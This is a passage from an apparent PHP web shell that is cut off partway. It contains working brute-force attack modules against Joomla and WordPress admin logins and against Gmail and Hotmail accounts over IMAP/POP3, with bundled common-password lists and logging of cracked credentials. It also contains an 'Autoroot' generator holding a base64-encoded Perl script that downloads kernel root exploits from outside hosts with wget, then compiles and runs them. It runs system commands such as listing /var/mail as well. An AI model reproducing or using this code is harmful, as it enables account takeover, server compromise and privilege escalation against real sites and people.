1734 <input name="pathclass" type="text" style="width: 284px" value="/home/path/"></td>
1735 </tr>
1736 <tr>
1737 <td valign="top" bgcolor="transparent" style="width: 139px"></td>
1738 <td valign="top" bgcolor="transparent" colspan="5"><input type="submit" value="show"></td>
1739 </tr>
1740<input name="page" type="hidden" value="show">
1741</form>
1742 <tr>
1743 <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>Info
1744 Security</b></font></td>
1745 </tr>
1746 <tr>
1747 <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Safe Mode</font></td>
1748 <td valign="top" bgcolor="transparent" colspan="5">
1749 <font face="Tahoma" color="#007700" size="2pt">';
1750 $safe_mode = ini_get('safe_mode');
1751if($safe_mode=='1')
1752{
1753echo '<b><font face="Tahoma" color="#ff0000" size="2pt">ON</font></b>';
1754}else{
1755echo '<b><font face="Tahoma" color="#b0b000" size="2pt">OFF</font></b>';
1756}
1757echo '</font>
1758 </td>
1759 </tr>
1760 <tr>
1761 <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Function</font></td>
1762 <td valign="top" bgcolor="transparent" colspan="5">
1763 ';
1764 if(''==($func=@ini_get('disable_functions')))
1765{
1766echo "<b><font face='Tahoma' color='#b0b000' size='2pt'> No Security for Function</font></b>";
1767}else{
1768echo '<script>alert("Please see below and press >Please Click Here First!");</script>';
1769 echo '<b><font face="Tahoma" color="#ff0000" size="2pt">$func</font></b>';
1770 echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
1771 echo '<td valign="top" bgcolor="#151515" colspan="5"><input type="submit" value="Please Click Here First!">
1772
1773 </td></tr>';
1774
1775 }
1776 echo '
1777 <tr>
1778 <td valign="top" bgcolor="transparent" style="width: 139px"></td>
1779 <td valign="top" bgcolor="transparent" colspan="5"></td>
1780 </table>
1781 </td>
1782 </tr>
1783 </table>
1784 <meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body></body></html>
1785<form style="border: 0px ridge #FFFFFF">
1786 <p align="center"></td>
1787 </tr><div align="center">
1788 <tr>
1789<input type="submit" name="user" value="Generate User"><option value="name"></select>
1790</form>
1791<div align="center">
1792 <table border="0" width="10%" bordercolorlight="#007700" bordercolordark="#007700" height="100" cellspacing="5">
1793<tr>
1794<td bordercolorlight="#007700" bordercolordark="#007700">
1795<p align="left">
1796<textarea class="area" method="POST" rows="10" name="S1" cols="96">';
1797if ($_GET['user'] )
1798
1799
1800 system('ls /var/mail');
1801
1802
1803
1804
1805
1806 for($uid=0;$uid<90000;$uid++){
1807
1808 }
1809
1810echo '</textarea>';
1811}
1812if(isset($_GET['action']) && $_GET['action'] == 'jmbru'){
1813echo '<center><b class="conte">
1814<a href="?action=skybru">Skype Brute Force</a> -
1815<a href="?action=cpbru">Cpanel Brute Force</a> -
1816<a href="?action=jmbru">Joomla Brute Force</a> -
1817<a href="?action=wpbru">Wordpress Brute Force</a> -
1818<a href="?action=twbru">Twitter Brute Force</a> -
1819<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1820</b>';
1821echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Joomla Brute Force</span></center><br>';
1822echo '<font face="Tahoma" color="#007700" size="2pt"><form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
1823
1824<center>
1825<form method="post" action="" enctype="multipart/form-data">
1826<table class="tabnet" width="38%" border="0">
1827<tr><td><p ><font face="Tahoma" color="#007700" size="2pt">User :</font></th>
1828<input class="area" type="text" name="usr" value="admin" size="15"> </center><br /><br /></p>
1829</td></tr>
1830<tr><td><font face="Tahoma" color="#007700" size="2pt">Sites list :</font>
1831</td><td><font face="Tahoma" color="#007700" size="2pt">Pass list :</font></td></tr>
1832<tr>
1833 <td><font face="Tahoma" color="#007700" size="2pt">
1834<textarea class="area" name="sites" style="background:transparent;" cols="40" rows="13" ></textarea>
1835</td><td>
1836<textarea class="area" name="w0rds" style="background:transparent;" cols="40" rows="13" >';
1837echo 'admin
1838123456
1839password
1840102030
1841123123
184212345
1843123456789
1844pass
1845test
1846admin123
1847demo
1848!@#$%^';
1849echo '</textarea></font>
1850</td></tr><center><tr><td>
1851<br><input class="inputzbut" type="submit" name="x" value="Start Now" id="d4">
1852</td></tr><br></table>
1853</form></center>';
1854
1855@set_time_limit(0);
1856
1857if($_POST['x']){
1858
1859echo "<hr>";
1860
1861$sites = explode("
1862",$_POST["sites"]); // Get Sites
1863$w0rds = explode("
1864",$_POST["w0rds"]); // Get w0rdLiSt
1865
1866$Attack = new Joomla_brute_Force(); // Active Class
1867
1868
1869foreach($w0rds as $pwd){
1870
1871foreach($sites as $site){
1872
1873
1874$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
1875flush();flush();
1876
1877}
1878
1879}
1880
1881}
1882
1883
1884# Class & Function'z
1885
1886function txt_cln($value){ return str_replace(array("
1887","
1888"),"",$value); }
1889
1890class Joomla_brute_Force{
1891
1892public function check_it($site,$user,$pass){ // print result
1893
1894if(eregi('com_config',$this->post($site,$user,$pass))){
1895
1896echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
1897$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
1898"); fclose($f);
1899flush();
1900}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
1901
1902}
1903
1904public function post($site,$user,$pass){ // Post -> user & pass
1905
1906$token = $this->extract_token($site);
1907
1908$curl=curl_init();
1909
1910curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1911curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
1912@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
1913@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
1914curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
1915@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
1916curl_setopt($curl,CURLOPT_POST,1);
1917curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
1918curl_setopt($curl,CURLOPT_TIMEOUT,20);
1919
1920$exec=curl_exec($curl);
1921curl_close($curl);
1922return $exec;
1923
1924}
1925
1926public function extract_token($site){ // get token from source for -> function post
1927
1928$source = $this->get_source($site);
1929
1930preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
1931
1932return $token[1][0];
1933
1934}
1935
1936public function get_source($site){ // get source for -> function extract_token
1937
1938$curl=curl_init();
1939curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1940curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
1941@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
1942@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
1943curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
1944@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
1945curl_setopt($curl,CURLOPT_TIMEOUT,20);
1946
1947$exec=curl_exec($curl);
1948curl_close($curl);
1949return $exec;
1950
1951}
1952
1953}
1954}
1955if(isset($_GET['action']) && $_GET['action'] == 'wpbru'){
1956echo '<center><b class="conte">
1957<a href="?action=skybru">Skype Brute Force</a> -
1958<a href="?action=cpbru">Cpanel Brute Force</a> -
1959<a href="?action=jmbru">Joomla Brute Force</a> -
1960<a href="?action=wpbru">Wordpress Brute Force</a> -
1961<a href="?action=twbru">Twitter Brute Force</a> -
1962<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1963</b>';
1964echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Wordpress Brute Force</span></center><br>';
1965echo '<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
1966<center><br>
1967<form enctype="multipart/form-data" method="POST">
1968<table width="624" border="0" class="tabnet">
1969<tr>
1970<td > </td>
1971<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Hosts:</font></p></td>
1972<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Users:</font></p></td>
1973<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Passwords:</font></p></td>
1974</tr>
1975<tr>
1976<td> </td>
1977<td ><textarea class="area" style="background:transparent;" name="hosts" cols="30" rows="10" >';
1978if ($_POST) {
1979echo $_POST['hosts'];
1980} echo '</textarea></td>
1981<td ><textarea class="area" style="background:transparent;" name="usernames" cols="30" rows="10" >';
1982if ($_POST) {
1983echo $_POST['usernames'];
1984} else {
1985echo "admin";
1986} echo '</textarea></td>
1987<td><textarea class="area" style="background:transparent;" name="passwords" cols="30" rows="10" >';
1988if ($_POST) {
1989echo $_POST['passwords'];
1990} else {
1991echo 'admin
1992administrator
1993123123
1994123321
1995123456
19961234567
199712345678
1998123456789
1999123456123456
2000admin2010
2001admin2011
2002password
2003P@ssW0rd
2004!@#$%^
2005!@#$%^&*(
2006(*&^%$#@!
2007111111
2008222222
2009333333
2010444444
2011555555
2012666666
2013777777
2014888888
2015999999';
2016}
2017echo '</textarea></td>
2018</tr>
2019<tr><td colspan="4"><center><br><input class="inputzbut" type="submit" name="submit" value="Brute Now" /></center>';
2020
2021if ($_POST) {
2022$hosts = trim(filter($_POST['hosts']));
2023$passwords = trim(filter($_POST['passwords']));
2024$usernames = trim(filter($_POST['usernames']));
2025if ($passwords && $usernames && $hosts) {
2026$hosts_explode = explode("
2027", $hosts);
2028$usernames_explode = explode("
2029", $usernames);
2030$passwords_explode = explode("
2031", $passwords);
2032foreach ($hosts_explode as $host) {
2033$host = RemoveLastSlash($host);
2034$hacked = 0;
2035$host = str_replace(array("http://", "https://", "www."), "", trim($host));
2036$host = "http://" . $host;
2037$wpAdmin = $host . '/wp-admin/';
2038if (!url_exists($host . "/wp-login.php")) {
2039echo "<p>" . $host . " => <font color='red'>Error In Login Page !</font></p>";
2040ob_flush();
2041flush();
2042continue;
2043}
2044foreach ($usernames_explode as $username) {
2045foreach ($passwords_explode as $password) {
2046$ch = curl_init();
2047curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2048curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php');
2049curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt");
2050curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt");
2051curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2052curl_setopt($ch, CURLOPT_POST, TRUE);
2053curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri‏" . "&redirect_to=" . $wpAdmin . "&testcookie=1");
2054$login = curl_exec($ch);
2055if (eregi("profile.php", $login)) {
2056$hacked = 1;
2057echo "<p>" . $host . " => UserName : [<font color='#b0b000'>" . $username . "</font>] : Password : [<font color='#b0b000'>" . $password . "</font>]</p>";
2058ob_flush();
2059flush();
2060break;
2061}
2062}
2063if ($hacked == 1) {
2064break;
2065}
2066}
2067if ($hacked == 0) {
2068echo "<p>" . $host . " => <font color='red'>Failed !</font></p>";
2069ob_flush();
2070flush();
2071}
2072}
2073} else {
2074echo "<p><font color='red'>All fields are Required ! </font></p>";
2075}
2076}
2077echo '</td></tr>
2078</table></form></center>';
2079function url_exists($strURL) {
2080$resURL = curl_init();
2081curl_setopt($resURL, CURLOPT_URL, $strURL);
2082curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
2083curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
2084curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
2085curl_exec($resURL);
2086$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
2087curl_close($resURL);
2088if ($intReturnCode != 200) {
2089return false;
2090} else {
2091return true;
2092}
2093}
2094function filter($string) {
2095if (get_magic_quotes_gpc() != 0) {
2096return stripslashes($string);
2097} else {
2098return $string;
2099}
2100}
2101function RemoveLastSlash($host) {
2102if (strrpos($host, '/', -1) == strlen($host) - 1) {
2103return substr($host, 0, strrpos($host, '/', -1));
2104} else {
2105return $host;
2106}
2107}
2108echo "</p>";
2109}
2110if(isset($_GET['action']) && $_GET['action'] == 'ghbru'){
2111echo '<center><b class="conte">
2112<a href="?action=skybru">Skype Brute Force</a> -
2113<a href="?action=cpbru">Cpanel Brute Force</a> -
2114<a href="?action=jmbru">Joomla Brute Force</a> -
2115<a href="?action=wpbru">Wordpress Brute Force</a> -
2116<a href="?action=twbru">Twitter Brute Force</a> -
2117<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
2118</b>';
2119echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Gmail & Hotmail Brute Force</span><center>';
2120
2121set_time_limit(0);
2122error_reporting(0);
2123
2124class s1{
2125
2126private $adres = array(
2127'gmail' => '{imap.gmail.com:993/imap/ssl}',
2128'hotmail' => '{pop3.live.com:995/pop3/ssl}'
2129);
2130private $imap;
2131function __construct($gelen1,$gelen2){
2132
2133$uname = explode("\r\n",$gelen1);
2134$pwd = explode("\r\n",$gelen2);
2135foreach($pwd as $pass){
2136$pass = trim($pass);
2137foreach($uname as $user){
2138$user = trim($user);
2139
2140if(preg_match('@gmail@si',$user)){
2141$this->baglan($this->adres["gmail"],$user,$pass);
2142}else{
2143$this->baglan($this->adres["hotmail"],$user,$pass);
2144}
2145}
2146}
2147}
2148
2149public function baglan($url,$user,$pass){
2150
2151$this->imap = imap_open($url,$user,$pass);
2152if($this->imap){
2153echo "<span id='cikti' >$user => $pass </span><br />";
2154}
2155}
2156function __destruct(){
2157
2158imap_close($this->imap);
2159
2160}
2161}
2162
2163echo '<br /> <center><div id="form">
2164<form id="form" method="POST" >
2165<textarea class="area" name="mail" rows="20" cols="28">Put Emails You Want To Cracker here ^_^</textarea>
2166<textarea class="area" name="sifre" rows="20" cols="28">Put Your Password List Here ^_^</textarea> <br /> <br />
2167<input type="submit" id="submit" value="Brute !" />
2168</form><br>
2169</div>
2170<div id="sonuc"> ';
2171
2172
2173if($_POST){
2174$mails = $_POST["mail"];
2175$sifre = $_POST["sifre"];
2176
2177if((isset($mails)) and (isset($sifre))){
2178$s1 = new s1($mails,$sifre);
2179}
2180}
2181
2182echo '</center></div> ';
2183}
2184if(isset($_GET['action']) && $_GET['action'] == 'w00ts'){
2185echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Autoroot Generator Coded By Mauritania Attacker</span><center><br>';
2186echo'<center><font color="#006600" size="2pt"><b>Special Greet To HusseiN98D</b><font/></center><br>';
2187echo"<p align='center'> <img border='0' src='http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg'></p><br>";
2188echo'<div class="tul"><font color="007700" face="Geneva, sans-serif" style="font-size: 11pt"><font/>';
2189
2190
2191@error_reporting(0);
2192
2193sleep(2);
2194
2195echo "<p><b>Script Autoroot Perl Extracted Successfully.... \!/ </b></p><br>";
2196//generate autoroot script perl
2197mkdir('lulZ',0755);
2198$shellw0rm = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0yNzQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oIi4vMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMyIpOw0Kc3lzdGVtKCIuLzIuNi4zMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgejFkLTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsNCnN5c3RlbSgiLi8xLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2E